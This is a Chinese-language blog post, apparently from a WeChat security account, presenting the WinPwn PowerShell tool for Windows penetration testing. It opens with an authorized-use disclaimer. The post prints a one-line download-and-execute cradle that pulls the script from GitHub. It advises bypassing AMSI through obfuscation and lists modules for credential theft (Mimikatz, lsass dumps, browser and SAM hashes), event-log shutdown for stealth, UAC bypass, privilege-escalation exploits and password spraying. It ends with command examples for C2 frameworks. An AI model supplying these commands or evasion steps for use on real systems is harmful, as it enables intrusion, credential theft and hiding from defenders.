重要声明: 本文档中的信息和工具仅用于授权的安全测试和研究目的。未经授权使用这些工具进行攻击或数据提取是非法的,并可能导致严重的法律后果。使用本文档中的任何内容时,请确保您遵守所有适用的法律法规,并获得适当的授权。
今天推荐一个Windows渗透测试工具WinPwn,主要用于自动化 Windows 系统内部渗透测试过程,涵盖侦察和利用阶段。红队人员可借鉴其中的技术,蓝队人员可利用该工具实现对环境的安全检查。
01
—
仓库的背景和目的
02
—
主要功能模块
主要功能模块如下,通过
Import-Module.WinPwn.ps1
//或者
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1')
导入模块,要绕过反恶意软件扫描接口(AMSI),可以采用现有的绕过技术 之一,找到 AMSI 的触发点 ,并在绕过函数中手动更改它,或者对触发字符串进行编码。另外,也可以对整个脚本进行混淆处理。
然后在同一个powershell中输入winpwn即可唤出菜单,之后通过交互式命令即可使用。
如果你发现自己处于一个没有互联网连接的 Windows 系统中,也完全没有问题,只需使用 Offline_Winpwn.ps1 ,其中包含了最重要的脚本和可执行文件。
主要菜单如下:
-
执行 Inveigh - 进行 ADIDNS/LLMNR/mDNS/NBNS 欺骗攻击! -
本地信息搜集菜单! -
域信息搜集菜单! -
本地权限提升检查菜单! -
利用 Windows 漏洞获取 SYSTEM 权限! -
绕过用户账户控制(UAC)! -
获取 SYSTEM 权限的 shell! -
Kerberoasting 攻击(黄金票据攻击相关技术)! -
窃取本地凭据! -
创建或删除一个 ADIDNS 节点! -
Sessiongopher 攻击(一种针对会话的攻击技术)! -
为了隐蔽而终止事件日志服务! -
PowerSharpPack 菜单! -
从 Web 服务器将自定义的 C# 二进制文件加载到内存并执行它们! -
域密码喷洒攻击! -
将 Mimik@tz(可能是 Mimikatz 工具相关)反射性地加载到内存中! -
通过各种技术转储 lsass(本地安全认证子系统服务)! -
通过令牌操作在本系统上模拟其他用户! -
执行自定义的 Rubeus 命令!
03
—
模块介绍
-
Inveigh
-> 在新的控制台窗口中执行 Inveigh,集成了带有会话管理(Invoke-TheHash)的 SMB 中继攻击 -
SessionGopher
-> 执行 Sessiongopher 并要求你输入参数 -
Kittielocal
-> -
混淆版的 Invoke-Mimikatz 版本 -
内存中的 Safetykatz -
使用 rundll32 技术转储 lsass -
下载并运行混淆版的 Lazagne -
转储浏览器凭据 -
定制版的 Mimikittenz 版本 -
提取 Wi-Fi 凭据 -
转储 SAM 文件的 NTLM 哈希值 -
SharpCloud -
Localreconmodules
-> -
收集已安装软件、易受攻击软件、共享、网络信息、组、权限等更多信息 -
检查典型漏洞,如 SMB 签名、LLMNR 中毒、MITM6、HTTP 上的 WSUS -
检查 PowerShell 事件日志中的凭据或其他敏感信息 -
收集浏览器凭据和历史记录 -
在注册表和文件系统中搜索密码 -
查找敏感文件(配置文件、RDP 文件、KeePass 数据库) -
在本地系统中搜索.NET 二进制文件 -
可选:获取计算机详细信息(Powersploit)和 PSRecon -
Domainreconmodules
-> -
收集各种域信息以供手动审查 -
在描述字段中查找活动目录密码 -
搜索潜在的敏感域共享文件 -
枚举不受约束的委派系统/用户 -
生成 Bloodhound 报告 -
用于域系统的 MS17-10 扫描器 -
用于域系统的 Bluekeep 扫描器 -
SQL Server 发现和审计功能 - PowerUpSQL -
对域控制器或所有系统进行 MS-RPRN 检查 -
使用 Grouper2 进行组策略审计 -
使用 ADRecon 以 CSV 文件(如果安装了 Excel,则为 XLS 文件)的形式生成活动目录报告 -
检查打印机是否存在常见漏洞 -
搜索基于资源的约束委派攻击路径 -
检查所有域控制器是否存在零日志记录漏洞 - CVE-2020-1472 -
还有更多功能,不妨一看 -
Privescmodules
-
itm4ns 的 Invoke-PrivescCheck -
winPEAS -
Powersploits 的 PowerUp Allchecks、Sherlock、GPPPasswords -
DLL 劫持、文件权限、注册表权限和弱键、Rotten/Juicy Potato 检查 -
kernelexploits
-> -
MS15-077 - (适用于 XP/Vista/Win7/Win8/2000/2003/2008/2012)仅支持 x86 架构! -
MS16-032 - (适用于 2008/7/8/10/2012)! -
MS16-135 - (仅适用于 WS2k16)! -
CVE-2018-8120 - 2018 年 5 月,适用于 Windows 7 SP1/2008 SP2、2008 R2 SP1! -
CVE-2019-0841 - 2019 年 4 月! -
CVE-2019-1069 - Polarbear Hardlink,需要凭据 - 2019 年 6 月! -
CVE-2019-1129/1130 - 竞争条件,需要多个核心 - 2019 年 7 月! -
CVE-2019-1215 - 2019 年 9 月 - 仅支持 x64 架构! -
CVE-2020-0638 - 2020 年 2 月 - 仅支持 x64 架构! -
CVE-2020-0796 - SMBGhost -
CVE-2020-0787 - 2020 年 3 月 - 适用于所有 Windows 版本 -
CVE-2021-34527/CVE-2021-1675 - 2021 年 6 月 - PrintNightmare -
CVE-2021-40449 - CallbackHell - 2021 年 10 月 -
Juicy-Potato 漏洞利用 -
itm4ns 的 Printspoofer -
UACBypass
-> -
UAC Magic,基于 James Forshaw 关于 UAC 的三部分文章 -
UAC 绕过 cmstp 技术,由 Oddvar Moe 提出 -
磁盘清理 UAC 绕过,由 James Forshaw 提出 -
DccwBypassUAC 技术,由 Ernesto Fernandez 和 Thomas Vanhoutte 提出 -
SYSTEMShell
-> -
使用 CreateProcess 弹出系统 shell -
使用命名管道模拟弹出系统 shell -
使用令牌操作弹出系统 shell -
使用 UsoClient DLL 加载或 CreateProcess 绑定系统 shell -
Shareenumeration
-> 执行 Invoke-Filefinder 和 Invoke-Sharefinder(Powerview / Powersploit) -
Domainshares
-> 使用 Snaffler 或 Passhunt 在所有域系统中进行搜索 -
Groupsearch
-> 执行 Get-DomainGPOUserLocalGroupMapping - 通过组策略映射查找你具有管理员访问权限或 RDP 访问权限的系统(Powerview / Powersploit) -
Kerberoasting
-> 在新窗口中执行 Invoke-Kerberoast 并存储哈希值以便后续破解 -
PowerSQL
-> SQL Server 发现,使用当前用户检查访问权限,审计默认凭据 + UNC 路径注入攻击 -
Sharphound
-> 生成 Bloodhound 3.0 报告 -
Adidnsmenu
-> 创建或删除活动目录集成的 DNS 节点 -
MS17-10
-> 扫描域中活动的 Windows 服务器或所有系统是否存在 MS17-10(永恒之蓝)漏洞 -
Sharpcradle
-> 从远程 Web 服务器将 C# 文件加载到内存中 -
DomainPassSpray
-> 进行域密码喷洒攻击,对所有域用户使用一个密码 -
Bluekeep
-> 用于域系统的 Bluekeep 扫描器
04
—
其他使用方法
在没有参数的情况下,大多数函数只能在交互式 shell 中使用。因此,我决定添加参数 -noninteractive
和 -consoleoutput
,以便该脚本可以在异步 C2 框架(如 Empire、Covenant、Cobalt Strike 等)中使用。
此外,还添加了 -repo
参数,以便从本地仓库使用 WinPwn 的所有功能。它们的使用方式如下:
用法:
-noninteractive
-> 不对函数提出问题,以便它们使用预定义或用户定义的参数运行
-consoleoutput
-> 不创建战利品/报告文件夹。每个函数将输出返回到控制台,这样你就可以在 C2 框架的代理日志中查看所有内容
示例:
WinPwn -noninteractive -consoleoutput -DomainRecon
-> 这将返回每个域侦察脚本和函数,并且可能会给你带来大量的输出
WinPwn -noninteractive -consoleoutput -Localrecon
-> 这将尽可能多地枚举本地系统的信息
Generalrecon -noninteractive
-> 执行基本的本地侦察函数并将输出存储在相应的文件夹中
UACBypass -noninteractive -command "C:tempstager.exe" -technique ccmstp
-> 从低权限会话在高完整性进程中执行一个加载程序
Kittielocal -noninteractive -consoleoutput -browsercredentials
-> 通过 Sharpweb 转储浏览器凭据,并将输出返回到控制台
Kittielocal -noninteractive -browsercredentials
-> 转储 SAM 文件的 NTLM 哈希值并将输出存储在文件中
WinPwn -PowerSharpPack -consoleoutput -noninteractive
-> 在内存中执行 Seatbelt、PowerUp、Watson 等更多 C# 二进制文件
Dotnetsearch -consoleoutput -noninteractive
-> 在 C:Program Files
和 C:Program Files (x86)
中搜索.NET 程序集
WinPwn -repo http://192.168.1.10:8000/WinPwn_Repo
-> 使用本地 Web 服务器作为离线仓库,以便在没有互联网访问的情况下使用 WinPwn
Get_WinPwn_Repo.sh:
用法:./Get_WinPwn_Repo.sh {选项}
示例:./Get_WinPwn_Repo.sh --install
选项:--install
下载仓库并将其放置在./WinPwn_Repo/ 中--remove
删除仓库./WinPwn_Repo/--reinstall
删除仓库并下载一个新的到./WinPwn_Repo/ 中--start-server
在端口 8000 上启动一个 Python HTTP 服务器--help
显示此帮助信息
原文始发于微信公众号(网空安全手札):WinPwn食用指南
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论